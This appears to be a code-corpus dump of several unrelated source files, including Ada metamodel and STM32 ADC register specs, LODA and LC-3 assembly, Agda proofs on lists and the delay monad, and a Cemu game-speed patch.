function MA_OCL_Message_Type_Referred_Operation_Type2 return AMF.Internals.CMOF_Element;
function MA_OCL_Expression_In_Ocl_Parameter_Variable_Var_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_Expression_In_Ocl_Generated_Type_Owning_Classifier return AMF.Internals.CMOF_Element;
function MA_OCL_Enum_Literal_Exp_Referred_Enum_Literal_Literal_Exp return AMF.Internals.CMOF_Element;
function MA_OCL_Tuple_Literal_Part_Attribute_Part2 return AMF.Internals.CMOF_Element;
function MA_OCL_Navigation_Call_Exp_Qualifier_Parent_Nav return AMF.Internals.CMOF_Element;
function MA_OCL_Operation_Call_Exp_Argument_Parent_Call return AMF.Internals.CMOF_Element;
function MA_OCL_Navigation_Call_Exp_Navigation_Source_Exp9 return AMF.Internals.CMOF_Element;
function MA_OCL_Operation_Call_Exp_Referred_Operation_Refering_Exp return AMF.Internals.CMOF_Element;
function MA_OCL_If_Exp_Condition_If_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_If_Exp_Then_Expression_Then_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_Association_Class_Call_Exp_Referred_Association_Class_Referring_Exp return AMF.Internals.CMOF_Element;
function MA_OCL_If_Exp_Else_Expression_Else_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_Iterate_Exp_Result_Base_Exp return AMF.Internals.CMOF_Element;
function MA_OCL_Let_Exp_In_Exp4 return AMF.Internals.CMOF_Element;
function MA_OCL_Message_Exp_Target_Exp8 return AMF.Internals.CMOF_Element;
function MA_OCL_Collection_Literal_Exp_Part_Exp1 return AMF.Internals.CMOF_Element;
function MA_OCL_Message_Exp_Argument_Exp2 return AMF.Internals.CMOF_Element;
function MA_OCL_Let_Exp_Variable_Exp5 return AMF.Internals.CMOF_Element;
function MA_OCL_Message_Exp_Called_Operation_Exp6 return AMF.Internals.CMOF_Element;
function MA_OCL_Collection_Item_Item_Item1 return AMF.Internals.CMOF_Element;
function MA_OCL_Variable_Init_Expression_Initialized_Element return AMF.Internals.CMOF_Element;
function MA_OCL_Message_Exp_Sent_Signal_Exp7 return AMF.Internals.CMOF_Element;
function MA_OCL_Variable_Represented_Parameter_Variable return AMF.Internals.CMOF_Element;
function MB_OCL return AMF.Internals.AMF_Element;
function ML_OCL return AMF.Internals.AMF_Element;
private
Base : AMF.Internals.CMOF_Element := 0;
end AMF.Internals.Tables.OCL_Metamodel;
|
oeis/033/A033815.asm | neoneye/loda-programs | 11 | 169084 | ; A033815: Number of standard permutations of [ a_1..a_n b_1..b_n ] (b_i is not immediately followed by a_i, for all i).
; Submitted by <NAME>
; 1,1,14,426,24024,2170680,287250480,52370755920,12585067447680,3854801333416320,1465957162768492800,677696237345719468800,374281829360322587827200,243388909697235614324812800,184070135024053703140543027200,160192129141963141211280644352000,158954768941233208970344129523712000,178390823011190274439135581660868608000,224821077153395763155255758196328701952000,316159444139144270070147780392966172008448000,493294164866383351699429534601141833239920640000
mov $2,1
mov $3,$0
mov $4,1
lpb $3
add $0,1
mul $1,$3
mul $4,$3
add $1,$4
mul $1,$3
mul $1,$0
mul $2,$3
mul $2,-1
cmp $4,0
add $5,$4
mov $6,$5
cmp $6,0
add $5,$6
div $1,$5
add $2,$1
sub $3,1
div $4,$5
lpe
mov $0,$2
|
examples/outdated-and-incorrect/syntax/ModuleB.agda | asr/agda-kanso | 1 | 9617 |
-- This module is used to illustrate how to import a parameterised module.
module examples.syntax.ModuleB
(A : Set)
((==) : A -> A -> Prop)
(refl : (x : A) -> x == x)
where
infix 5 /\
module SubModule where
postulate dummy : A
data True : Prop where
tt : True
data False : Prop where
data (/\) (P, Q : Prop) : Prop where
andI : P -> Q -> P /\ Q
data List : Set where
nil : List
cons : A -> List -> List
eqList : List -> List -> Prop
eqList nil nil = True
eqList (cons x xs) nil = False
eqList nil (cons y ys) = False
eqList (cons x xs) (cons y ys) = x == y /\ eqList xs ys
reflEqList : (xs : List) -> eqList xs xs
reflEqList nil = tt
reflEqList (cons x xs) = andI (refl x) (reflEqList xs)
|
2020 Fall E C E 252/EX11/strlen.asm | jsswd888/2020_FALL_UW_MADISON | 0 | 246757 | <filename>2020 Fall E C E 252/EX11/strlen.asm
; Filename: strlen.asm
; Subroutine: STRLEN
; Description: Finds length of an ASCIIZ string
; Assumes: R1 - string address
; Returns: R2 - length of the string
;return length of the string
.orig x0200
START
LEA R1, S1
JSR STRLEN
LEA R1, S6
JSR STRLEN
LEA R1, S2
JSR STRLEN
LEA R1, S5
JSR STRLEN
LEA R1, S3
JSR STRLEN
LEA R1, S4
JSR STRLEN
LEA R1, S7
JSR STRLEN
BR START ; loop forever
S1 .STRINGZ "Ciao!"
S2 .STRINGZ "Hi!"
S3 .STRINGZ "Salve!"
S4 .STRINGZ "Hello!"
S5 .STRINGZ "Gelato!"
S6 .STRINGZ ""
S7 .STRINGZ "Italiano"
; Subroutine: STRLEN
; Description: Finds length of ASCIIZ string
; Assumes: R1 = string address
; Returns: R2 = length of the string
STRLEN
ST R0, STRLEN_R0 ; context save
ST R1, STRLEN_R1 ; context save ADDED
AND R2, R2, #0 ; ADDED initialize String len to 0
STRLEN_LOOP
LDR R0, R1, #0 ; get current character
BRz STRLEN_EXIT ; at null terminator?
ADD R2, R2, #1 ; ADDED increment the string count//count how many
; numbers of the character is not null
ADD R1, R1, #1 ; increment string pointer (address)
BR STRLEN_LOOP
STRLEN_EXIT
LD R0, STRLEN_R0 ; context restore
LD R1, STRLEN_R1 ; ADDED
;NOT R3, R3
;ADD R3, R3, #1
;ADD R2, R3, #1
RET
STRLEN_R0 .BLKW 1
STRLEN_R1 .BLKW 1 ; ADDED
.end |
1581/64tass/addrel.asm | silverdr/assembly | 23 | 93553 | <reponame>silverdr/assembly<filename>1581/64tass/addrel.asm
addrel jsr adrels
jsr fndrel
addr1
jsr numfre ; calc available...
ldy lindx ; record span?
ldx rs,y
dex
txa
clc
adc relptr
bcc ar10 ; include ss ptrs and check
inc ssind
inc ssind
bne ar10
inc ssnum
lda #ssioff
sta ssind
ar10
lda r1
clc
adc #2
jsr setssp
lda ssnum
cmp #nssl
bcc ar25 ; valid range?
jsr hugerel
bne ar20
sta ssnum ; .a = 0
inc grpnum
bne ar25 ; bra
ar20
lda #bigfil
jsr cmderr ; too many ss's
ar25 lda ssind ; calc # blks needed
sec ; & check against avail.
sbc r1
bcs ar30
sbc #ssioff-1
clc
ar30
pha
jsr hugerel
beq addbig
pla
sta t3 ; # ss indices
lda ssnum
sbc r0
sta t4 ; # ss needed
ldx #0 ; clear accum.
stx t1
stx t2
tax ; .x=# ss
jsr sscalc ; calc # of blks needed
lda t2
bne ar35
ldx t1
dex
bne ar35
beq ar34 ; bra
;
; add for big relfile
;
addbig
pla
sta t3
lda ssnum
sbc r0
bcs addbi1
inc r3
adc #6
addbi1
sta t4
lda grpnum
sec
sbc r3
sta r3
jsr ssscal
lda result+1
bne ar35
ldx result
bne addbi2
rts
addbi2
dex
bne ar35
ar34
inc r2
ar35 cmp nbtemp+1
bcc ar40 ; ok!!
bne ar20
lda nbtemp
cmp t1
bcc ar20 ; not enuf blocks
ar40 lda #1
jsr drdbyt ; look at sec link
clc
adc #1 ; +1 is nr
ldx lindx
sta nr,x
jsr nxtts ; get next block
jsr setlnk ; ...& set link.
lda r2
bne ar50 ; add one block
jsr wrtout ; write current last rec
ar45
jsr dblbuf ; switch bufs
jsr sethdr ; set hdr from t & s
jsr nxtts ; get another
jsr setlnk ; set up link
jsr nulbuf ; clean it out
jmp ar55
ar50 jsr dblbuf ; switch bufs
jsr sethdr ; set hdr from t&s
jsr nulbuf ; clean buffer
jsr nullnk ; last block =0,lstchr
ar55 jsr wrtout ; write buffer
jsr getlnk ; get t&s from link
lda track
pha ; save 'em
lda sector
pha
jsr gethdr ; now get hdr t&s
lda sector
pha ; save 'em
lda track
pha
jsr gsspnt ; check ss ptr
tax
bne ar60
jsr newss ; need another ss
lda #ssioff
jsr setssp ; .a=bt val
inc r0 ; advance ss count
ar60 pla
jsr putss ; record t&s...
pla
jsr putss ; ...in ss.
pla ; get t&s from link
sta sector
pla
sta track
beq ar65 ; t=0: that's all!!
jsr hugerel
bne ar61
lda r5
cmp grpnum
bcc ar45
ar61
lda r0
cmp ssnum
bne ar45 ; not even done yet
jsr gsspnt
cmp ssind
bcc ar45 ; almost done
beq ar50 ; one more blk left
ar65 jsr gsspnt
pha
lda #0
jsr ssdir
lda #0
tay
sta (dirbuf),y
iny
pla
sec
sbc #1
sta (dirbuf),y
jsr wrtss ; write ss
jsr watjob
jsr mapout
jsr fndrel
jsr dblbuf ; get back to leading buf
jsr sspos
bvs ar70
jmp positn
ar70 lda #lrf
jsr setflg
lda #norec
jsr cmderr
adrels
jsr ssend ; setup eof
jsr posbuf
jsr hugerel
bne adrel1
lda grpnum
sta r5
sta r3
adrel1
lda ssind
sta r1 ; save ss index
lda ssnum
sta r0 ; save ss number
lda #0
sta r2
sta recptr ; first byte in record
rts
|
src/Delay-monad/Alternative/Equivalence.agda | nad/partiality-monad | 2 | 8938 | ------------------------------------------------------------------------
-- Theorems relating the coinductive definition of the delay
-- monad to the alternative one and to another type
------------------------------------------------------------------------
{-# OPTIONS --erased-cubical --sized-types #-}
open import Prelude hiding (↑)
module Delay-monad.Alternative.Equivalence {a} {A : Type a} where
open import Equality.Propositional.Cubical
open import Logical-equivalence using (_⇔_)
open import Prelude.Size
open import Bijection equality-with-J using (_↔_)
open import Equality.Decision-procedures equality-with-J
open import Function-universe equality-with-J hiding (_∘_)
open import H-level equality-with-J
open import Surjection equality-with-J using (_↠_)
open import Delay-monad as D hiding (Delay)
open import Delay-monad.Alternative
open import Delay-monad.Alternative.Properties
open import Delay-monad.Bisimilarity as Bisimilarity
using ([_]_∼_; now; later; force)
private
variable
i : Size
-- Building blocks used in the theorems below.
module Delay⇔Delay where
-- The function to₁ is basically π from Section 7.1 of
-- "Quotienting the Delay Monad by Weak Bisimilarity" by Chapman,
-- Uustalu and Veltri, but the function proj₁ ∘ from is different
-- from their function ε, which is defined so that (with the
-- terminology used here) ε (now x) (suc n) = nothing.
to₁ : (ℕ → Maybe A) → D.Delay A i
to₁ f = to′ (f 0)
module To where
to′ : Maybe A → D.Delay A i
to′ (just x) = now x
to′ nothing =
later λ { .force → to₁ (f ∘ suc) }
to : Delay A → D.Delay A i
to = to₁ ∘ proj₁
from : D.Delay A ∞ → Delay A
from = λ x → from₁ x , from₂ x
where
from₁ : D.Delay A ∞ → ℕ → Maybe A
from₁ (now x) _ = just x
from₁ (later x) zero = nothing
from₁ (later x) (suc n) = from₁ (force x) n
from₂ : ∀ x → Increasing (from₁ x)
from₂ (now x) _ = inj₁ refl
from₂ (later x) zero = proj₁ LE-nothing-contractible
from₂ (later x) (suc n) = from₂ (force x) n
-- The two definitions of the delay monad are logically equivalent.
Delay⇔Delay : Delay A ⇔ D.Delay A ∞
Delay⇔Delay = record { to = Delay⇔Delay.to; from = Delay⇔Delay.from }
-- There is a split surjection from D.Delay A ∞ to Delay A.
Delay↠Delay : D.Delay A ∞ ↠ Delay A
Delay↠Delay = record
{ logical-equivalence = inverse Delay⇔Delay
; right-inverse-of = from∘to
}
where
open Delay⇔Delay
from∘to : ∀ x → from (to x) ≡ x
from∘to x = Σ-≡,≡→≡
(⟨ext⟩ (proj₁∘from∘to x))
(⟨ext⟩ λ n →
subst Increasing
(⟨ext⟩ (proj₁∘from∘to x))
(proj₂ (from (to x)))
n ≡⟨ sym $ push-subst-application (⟨ext⟩ (proj₁∘from∘to x)) (flip Increasing-at) ⟩
subst (Increasing-at n)
(⟨ext⟩ (proj₁∘from∘to x))
(proj₂ (from (to x)) n) ≡⟨ uncurry proj₂∘from∘to x n _ refl ⟩∎
proj₂ x n ∎)
where
proj₁∘from∘to′ :
(g : ℕ → Maybe A) →
Increasing g →
∀ x → g 0 ≡ x → ∀ n →
proj₁ (from (To.to′ g x)) n ≡ g n
proj₁∘from∘to′ g g-inc (just x) g0↓x n = sym $ ↓-upwards-closed₀ g-inc g0↓x n
proj₁∘from∘to′ g g-inc nothing g0↑ zero = sym g0↑
proj₁∘from∘to′ g g-inc nothing g0↑ (suc n) =
proj₁∘from∘to′ (g ∘ suc) (g-inc ∘ suc) _ refl n
proj₁∘from∘to :
(x : Delay A) →
∀ n → proj₁ (from (to x)) n ≡ proj₁ x n
proj₁∘from∘to (g , g-inc) = proj₁∘from∘to′ g g-inc (g 0) refl
↓-lemma :
(g : ℕ → Maybe A) →
(g-increasing : Increasing g) →
∀ n x (g0↓x : g 0 ↓ x) p → p ≡ g-increasing 0 →
subst (Increasing-at n)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-increasing g0↓x))
(inj₁ refl)
≡
g-increasing n
↓-lemma g _ _ x g0↓x (inj₂ (g0↑ , _)) _ =
⊥-elim $ ⊎.inj₁≢inj₂ (
nothing ≡⟨ sym g0↑ ⟩
g 0 ≡⟨ g0↓x ⟩∎
just x ∎)
↓-lemma g g-inc zero x g0↓x (inj₁ g0≡g1) ≡g-inc0 =
subst (Increasing-at zero)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x))
(inj₁ refl) ≡⟨ push-subst-inj₁
{y≡z = ⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x)}
(λ f → f 0 ≡ f 1) (λ f → f 0 ↑ × ¬ f 1 ↑) ⟩
inj₁ (subst (λ f → f 0 ≡ f 1)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x))
refl) ≡⟨ cong inj₁ lemma ⟩
inj₁ g0≡g1 ≡⟨ ≡g-inc0 ⟩∎
g-inc zero ∎
where
eq = ↓-upwards-closed₀ g-inc g0↓x
lemma =
subst (λ f → f 0 ≡ f 1) (⟨ext⟩ (sym ∘ eq)) refl ≡⟨ subst-in-terms-of-trans-and-cong {x≡y = ⟨ext⟩ (sym ∘ eq)} ⟩
trans (sym (cong (_$ 0) (⟨ext⟩ (sym ∘ eq))))
(trans refl (cong (_$ 1) (⟨ext⟩ (sym ∘ eq)))) ≡⟨ cong (trans (sym (cong (_$ 0) (⟨ext⟩ (sym ∘ eq))))) $
trans-reflˡ (cong (_$ 1) (⟨ext⟩ (sym ∘ eq))) ⟩
trans (sym (cong (_$ 0) (⟨ext⟩ (sym ∘ eq))))
(cong (_$ 1) (⟨ext⟩ (sym ∘ eq))) ≡⟨ cong₂ (λ p q → trans (sym p) q) (cong-ext (sym ∘ eq)) (cong-ext (sym ∘ eq)) ⟩
trans (sym $ sym $ eq 0) (sym $ eq 1) ≡⟨ cong (λ eq′ → trans eq′ (sym $ eq 1)) $ sym-sym _ ⟩
trans (eq 0) (sym $ eq 1) ≡⟨⟩
trans g0↓x (sym $ ↓.step g-inc g0↓x (g-inc 0)) ≡⟨ cong (λ eq′ → trans g0↓x (sym $ ↓.step g-inc g0↓x eq′)) $ sym $ ≡g-inc0 ⟩
trans g0↓x (sym $ ↓.step g-inc g0↓x (inj₁ g0≡g1)) ≡⟨⟩
trans g0↓x (sym $ trans (sym g0≡g1) g0↓x) ≡⟨ cong (trans g0↓x) $ sym-trans (sym g0≡g1) g0↓x ⟩
trans g0↓x (trans (sym g0↓x) (sym (sym g0≡g1))) ≡⟨ trans--[trans-sym] _ _ ⟩
sym (sym g0≡g1) ≡⟨ sym-sym _ ⟩∎
g0≡g1 ∎
↓-lemma g g-inc (suc n) x g0↓x (inj₁ g0≡g1) ≡g-inc0 =
subst (Increasing-at (suc n))
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x))
(inj₁ refl) ≡⟨⟩
subst (Increasing-at n ∘ (_∘ suc))
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x))
(inj₁ refl) ≡⟨ subst-∘ (Increasing-at n) (_∘ suc)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x)) ⟩
subst (Increasing-at n)
(cong (_∘ suc) (⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x)))
(inj₁ refl) ≡⟨ cong (λ eq → subst (Increasing-at n) eq _) $
cong-pre-∘-ext (sym ∘ ↓-upwards-closed₀ g-inc g0↓x) ⟩
subst (Increasing-at n)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ g-inc g0↓x ∘ suc))
(inj₁ refl) ≡⟨⟩
subst (Increasing-at n)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ (g-inc ∘ suc)
(↓.step g-inc g0↓x (g-inc 0))))
(inj₁ refl) ≡⟨ cong (λ p → subst (Increasing-at n)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ (g-inc ∘ suc)
(↓.step g-inc g0↓x p)))
(inj₁ refl))
(sym ≡g-inc0) ⟩
subst (Increasing-at n)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ (g-inc ∘ suc)
(↓.step g-inc g0↓x (inj₁ g0≡g1))))
(inj₁ refl) ≡⟨⟩
subst (Increasing-at n)
(⟨ext⟩ (sym ∘ ↓-upwards-closed₀ (g-inc ∘ suc)
(trans (sym g0≡g1) g0↓x)))
(inj₁ refl) ≡⟨ ↓-lemma (g ∘ suc) (g-inc ∘ suc) n _ _ _ refl ⟩∎
g-inc (suc n) ∎
proj₂∘from∘to :
(g : ℕ → Maybe A) →
(g-increasing : Increasing g) →
∀ n y (g0≡y : g 0 ≡ y) →
subst (Increasing-at n)
(⟨ext⟩ (proj₁∘from∘to′ g g-increasing y g0≡y))
(proj₂ (from (To.to′ g y)) n)
≡
g-increasing n
proj₂∘from∘to g g-inc n (just y) g0↓y =
↓-lemma g g-inc n y g0↓y _ refl
proj₂∘from∘to g g-inc zero nothing g0↑ =
( $⟨ mono₁ 0 LE-nothing-contractible ⟩
Is-proposition (LE nothing (g 1)) ↝⟨ subst (λ x → Is-proposition (LE x (g 1))) (sym g0↑) ⟩□
Is-proposition (LE (g 0) (g 1)) □) _ _
proj₂∘from∘to g g-inc (suc n) nothing g0↑ =
subst (Increasing-at (suc n))
(⟨ext⟩ (proj₁∘from∘to′ g g-inc nothing g0↑))
(proj₂ (from (to (g ∘ suc , g-inc ∘ suc))) n) ≡⟨⟩
subst (Increasing-at n ∘ (_∘ suc))
(⟨ext⟩ (proj₁∘from∘to′ g g-inc nothing g0↑))
(proj₂ (from (to (g ∘ suc , g-inc ∘ suc))) n) ≡⟨ subst-∘ (Increasing-at n) (_∘ suc)
(⟨ext⟩ (proj₁∘from∘to′ g g-inc nothing g0↑)) ⟩
subst (Increasing-at n)
(cong (_∘ suc) (⟨ext⟩ (proj₁∘from∘to′ g g-inc nothing g0↑)))
(proj₂ (from (to (g ∘ suc , g-inc ∘ suc))) n) ≡⟨ cong (λ eq → subst (Increasing-at n) eq
(proj₂ (from (to (g ∘ suc , g-inc ∘ suc))) n)) $
cong-pre-∘-ext (proj₁∘from∘to′ g g-inc nothing g0↑) ⟩
subst (Increasing-at n)
(⟨ext⟩ (proj₁∘from∘to′ g g-inc nothing g0↑ ∘ suc))
(proj₂ (from (to (g ∘ suc , g-inc ∘ suc))) n) ≡⟨⟩
subst (Increasing-at n)
(⟨ext⟩ (proj₁∘from∘to′ (g ∘ suc) (g-inc ∘ suc) _ refl))
(proj₂ (from (to (g ∘ suc , g-inc ∘ suc))) n) ≡⟨ proj₂∘from∘to (g ∘ suc) (g-inc ∘ suc) n _ refl ⟩∎
g-inc (suc n) ∎
-- The two definitions of the delay monad are isomorphic (assuming
-- extensionality).
Delay↔Delay : Bisimilarity.Extensionality a →
Delay A ↔ D.Delay A ∞
Delay↔Delay delay-ext = record
{ surjection = record
{ logical-equivalence = Delay⇔Delay
; right-inverse-of = delay-ext ∘ to∘from
}
; left-inverse-of = _↠_.right-inverse-of Delay↠Delay
}
where
open Delay⇔Delay
to∘from : ∀ x → [ i ] to (from x) ∼ x
to∘from (now x) = now
to∘from (later x) = later λ { .force → to∘from (force x) }
-- There is a split surjection from ℕ → Maybe A (without any
-- requirement that the sequences are increasing) to D.Delay A ∞
-- (assuming extensionality).
--
-- Chapman, Uustalu and Veltri prove this result in "Quotienting the
-- Delay Monad by Weak Bisimilarity".
→↠Delay-coinductive : Bisimilarity.Extensionality a →
(ℕ → Maybe A) ↠ D.Delay A ∞
→↠Delay-coinductive delay-ext = record
{ logical-equivalence = record
{ to = Delay⇔Delay.to₁
; from = proj₁ ∘ Delay⇔Delay.from
}
; right-inverse-of = _↔_.right-inverse-of (Delay↔Delay delay-ext)
}
-- There is also a split surjection from ℕ → Maybe A to Delay A.
→↠Delay-function : (ℕ → Maybe A) ↠ Delay A
→↠Delay-function = record
{ logical-equivalence = record
{ to = Delay⇔Delay.from ∘ Delay⇔Delay.to₁
; from = proj₁
}
; right-inverse-of = _↠_.right-inverse-of Delay↠Delay
}
|
AppleScript.scpt | The-Epinhood/ADR | 1 | 1472 | <gh_stars>1-10
tell app "Finder"
tell me to log "My log entry."
end tell
|
src/BreathOfTheWild/Mods/FPS++/patch_KorokChasing.asm | UltraDragonZord/cemu_graphic_packs | 1,002 | 99916 | <gh_stars>1000+
[BotW_KorokChasing_V208]
moduleMatches = 0x6267BFD0
.origin = codecave
; --------------------------
; This set of patches fixes the speed with which hidden Koroks (shown as sparkles on the ground) move along their path
; In unpatched state, the speed would scale directly with FPS, so at 60 FPS the Koroks would move twice as fast
_constFloatTimestepKorok:
.float 30.0
0x0348ba3c = bla _HiddenKorokMoveCalcTimestep
_HiddenKorokMoveCalcTimestep:
; replaced instruction:
; 0348ba3c fdivs f25,f27,f13
; calculates:
; f25 = 1.0 / timeStepInSeconds
; available registers: r4
lis r4, _constFloatTimestepKorok@ha
lfs f25, _constFloatTimestepKorok@lo(r4)
blr
; 0344acd8 ec 0d 58 24 fdivs f0,f13,f11
; general korok move function? maybe should be patched too?
; Hidden korok rest time is measured in frames. Normally it also counts +1.0 each frame but we use a dynamic timestep instead
0x022ac944 = bla _HiddenKorokRestActionCalcTimestep
_HiddenKorokRestActionCalcTimestep:
; replaced instruction:
; 022ac944 fadds f0,f12,f0
; available registers: r3
lis r3, averageFPS1Inv@ha
lfs f0, averageFPS1Inv@lo(r3)
fadds f0, f12, f0
blr
|
.emacs.d/elpa/wisi-3.1.3/sal-generic_decimal_image.ads | caqg/linux-home | 0 | 592 | -- Abstract:
--
-- Generic leading zero unsigned decimal image
--
-- Copyright (C) 2004, 2009, 2019 Free Software Foundation. All Rights Reserved.
--
-- This library is free software; you can redistribute it and/or
-- modify it under terms of the GNU General Public License as
-- published by the Free Software Foundation; either version 3, or (at
-- your option) any later version. This library is distributed in the
-- hope that it will be useful, but WITHOUT ANY WARRANTY; without even
-- the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
-- PURPOSE. See the GNU General Public License for more details. You
-- should have received a copy of the GNU General Public License
-- distributed with this program; see file COPYING. If not, write to
-- the Free Software Foundation, 59 Temple Place - Suite 330, Boston,
-- MA 02111-1307, USA.
--
-- As a special exception, if other files instantiate generics from
-- this unit, or you link this unit with other files to produce an
-- executable, this unit does not by itself cause the resulting
-- executable to be covered by the GNU General Public License. This
-- exception does not however invalidate any other reasons why the
-- executable file might be covered by the GNU Public License.
pragma License (Modified_GPL);
generic
type Number_Type is range <>;
function SAL.Generic_Decimal_Image
(Item : in Number_Type;
Width : in Natural)
return String;
-- Return a decimal unsigned image of Item, padded with leading zeros
-- to Width. If Width is too small for Item, leading digits are
-- silently truncated.
pragma Pure (SAL.Generic_Decimal_Image);
|
SVD2ada/svd/stm32_svd-adc.ads | JCGobbi/Nucleo-STM32H743ZI | 0 | 15435 | <gh_stars>0
pragma Style_Checks (Off);
-- This spec has been automatically generated from STM32H743x.svd
pragma Restrictions (No_Elaboration_Code);
with HAL;
with System;
package STM32_SVD.ADC is
pragma Preelaborate;
---------------
-- Registers --
---------------
-- ISR_AWD array
type ISR_AWD_Field_Array is array (1 .. 3) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ISR_AWD
type ISR_AWD_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AWD as a value
Val : HAL.UInt3;
when True =>
-- AWD as an array
Arr : ISR_AWD_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ISR_AWD_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC interrupt and status register
type ISR_Register is record
-- ADC ready flag
ADRDY : Boolean := False;
-- ADC group regular end of sampling flag
EOSMP : Boolean := False;
-- ADC group regular end of unitary conversion flag
EOC : Boolean := False;
-- ADC group regular end of sequence conversions flag
EOS : Boolean := False;
-- ADC group regular overrun flag
OVR : Boolean := False;
-- ADC group injected end of unitary conversion flag
JEOC : Boolean := False;
-- ADC group injected end of sequence conversions flag
JEOS : Boolean := False;
-- ADC analog watchdog 1 flag
AWD : ISR_AWD_Field := (As_Array => False, Val => 16#0#);
-- ADC group injected contexts queue overflow flag
JQOVF : Boolean := False;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- ADC LDO output voltage ready flag
LDORDY : Boolean := False;
-- unspecified
Reserved_13_31 : HAL.UInt19 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ISR_Register use record
ADRDY at 0 range 0 .. 0;
EOSMP at 0 range 1 .. 1;
EOC at 0 range 2 .. 2;
EOS at 0 range 3 .. 3;
OVR at 0 range 4 .. 4;
JEOC at 0 range 5 .. 5;
JEOS at 0 range 6 .. 6;
AWD at 0 range 7 .. 9;
JQOVF at 0 range 10 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
LDORDY at 0 range 12 .. 12;
Reserved_13_31 at 0 range 13 .. 31;
end record;
-- ADC interrupt enable register
type IER_Register is record
-- ADC ready interrupt
ADRDYIE : Boolean := False;
-- ADC group regular end of sampling interrupt
EOSMPIE : Boolean := False;
-- ADC group regular end of unitary conversion interrupt
EOCIE : Boolean := False;
-- ADC group regular end of sequence conversions interrupt
EOSIE : Boolean := False;
-- ADC group regular overrun interrupt
OVRIE : Boolean := False;
-- ADC group injected end of unitary conversion interrupt
JEOCIE : Boolean := False;
-- ADC group injected end of sequence conversions interrupt
JEOSIE : Boolean := False;
-- ADC analog watchdog 1 interrupt
AWD1IE : Boolean := False;
-- ADC analog watchdog 2 interrupt
AWD2IE : Boolean := False;
-- ADC analog watchdog 3 interrupt
AWD3IE : Boolean := False;
-- ADC group injected contexts queue overflow interrupt
JQOVFIE : Boolean := False;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for IER_Register use record
ADRDYIE at 0 range 0 .. 0;
EOSMPIE at 0 range 1 .. 1;
EOCIE at 0 range 2 .. 2;
EOSIE at 0 range 3 .. 3;
OVRIE at 0 range 4 .. 4;
JEOCIE at 0 range 5 .. 5;
JEOSIE at 0 range 6 .. 6;
AWD1IE at 0 range 7 .. 7;
AWD2IE at 0 range 8 .. 8;
AWD3IE at 0 range 9 .. 9;
JQOVFIE at 0 range 10 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- CR_LINCALRDYW array
type CR_LINCALRDYW_Field_Array is array (1 .. 6) of Boolean
with Component_Size => 1, Size => 6;
-- Type definition for CR_LINCALRDYW
type CR_LINCALRDYW_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- LINCALRDYW as a value
Val : HAL.UInt6;
when True =>
-- LINCALRDYW as an array
Arr : CR_LINCALRDYW_Field_Array;
end case;
end record
with Unchecked_Union, Size => 6;
for CR_LINCALRDYW_Field use record
Val at 0 range 0 .. 5;
Arr at 0 range 0 .. 5;
end record;
-- ADC control register
type CR_Register is record
-- ADC enable
ADEN : Boolean := False;
-- ADC disable
ADDIS : Boolean := False;
-- ADC group regular conversion start
ADSTART : Boolean := False;
-- ADC group injected conversion start
JADSTART : Boolean := False;
-- ADC group regular conversion stop
ADSTP : Boolean := False;
-- ADC group injected conversion stop
JADSTP : Boolean := False;
-- unspecified
Reserved_6_7 : HAL.UInt2 := 16#0#;
-- Boost mode control
BOOST : Boolean := False;
-- unspecified
Reserved_9_15 : HAL.UInt7 := 16#0#;
-- Linearity calibration
ADCALLIN : Boolean := False;
-- unspecified
Reserved_17_21 : HAL.UInt5 := 16#0#;
-- Linearity calibration ready Word 1
LINCALRDYW : CR_LINCALRDYW_Field :=
(As_Array => False, Val => 16#0#);
-- ADC voltage regulator enable
ADVREGEN : Boolean := False;
-- ADC deep power down enable
DEEPPWD : Boolean := False;
-- ADC differential mode for calibration
ADCALDIF : Boolean := False;
-- ADC calibration
ADCAL : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CR_Register use record
ADEN at 0 range 0 .. 0;
ADDIS at 0 range 1 .. 1;
ADSTART at 0 range 2 .. 2;
JADSTART at 0 range 3 .. 3;
ADSTP at 0 range 4 .. 4;
JADSTP at 0 range 5 .. 5;
Reserved_6_7 at 0 range 6 .. 7;
BOOST at 0 range 8 .. 8;
Reserved_9_15 at 0 range 9 .. 15;
ADCALLIN at 0 range 16 .. 16;
Reserved_17_21 at 0 range 17 .. 21;
LINCALRDYW at 0 range 22 .. 27;
ADVREGEN at 0 range 28 .. 28;
DEEPPWD at 0 range 29 .. 29;
ADCALDIF at 0 range 30 .. 30;
ADCAL at 0 range 31 .. 31;
end record;
subtype CFGR_DMNGT_Field is HAL.UInt2;
subtype CFGR_RES_Field is HAL.UInt3;
subtype CFGR_EXTSEL_Field is HAL.UInt5;
subtype CFGR_EXTEN_Field is HAL.UInt2;
subtype CFGR_DISCNUM_Field is HAL.UInt3;
subtype CFGR_AWD1CH_Field is HAL.UInt5;
